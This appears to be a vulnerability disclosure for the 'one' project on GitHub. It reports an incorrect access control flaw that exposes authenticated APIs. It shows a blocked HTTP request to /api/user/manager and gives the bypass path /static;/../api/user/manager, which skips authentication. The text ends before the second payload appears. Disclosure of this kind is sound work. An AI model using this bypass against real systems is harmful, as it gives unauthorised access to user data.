There is an Incorrect Access Control vulnerability in one

[RacerZ-fighting]

[Suggested description]
one was found to have an Incorrect Access Control vulnerability up to v1.0, resulting in information leakage.

[Vulnerability Type]
Incorrect access control

[Vendor of Product]
https://github.com/lcw2004/one

[Affected Product Code Base]
all version (v1.0)

[Affected Component]
sensitive APIs that require authentication

[Attack Type]
Remote

[Vulnerability details]
Directly send the payload below to the API /api/user/manager will fail because of the authentication.

GET /api/user/manager HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Apifox/1.0.0 (https://apifox.com)
Accept: */*
Host: 127.0.0.1:8080
Connection: keep-alive
Cookie: JSESSIONID=915CAEC0CF1BCEC8A316D41DEAFC8969
Referer: http://127.0.0.1:8080/api/user/manager

However, send the payload below to the API /static;/../api/user/manager will bypass the authentication.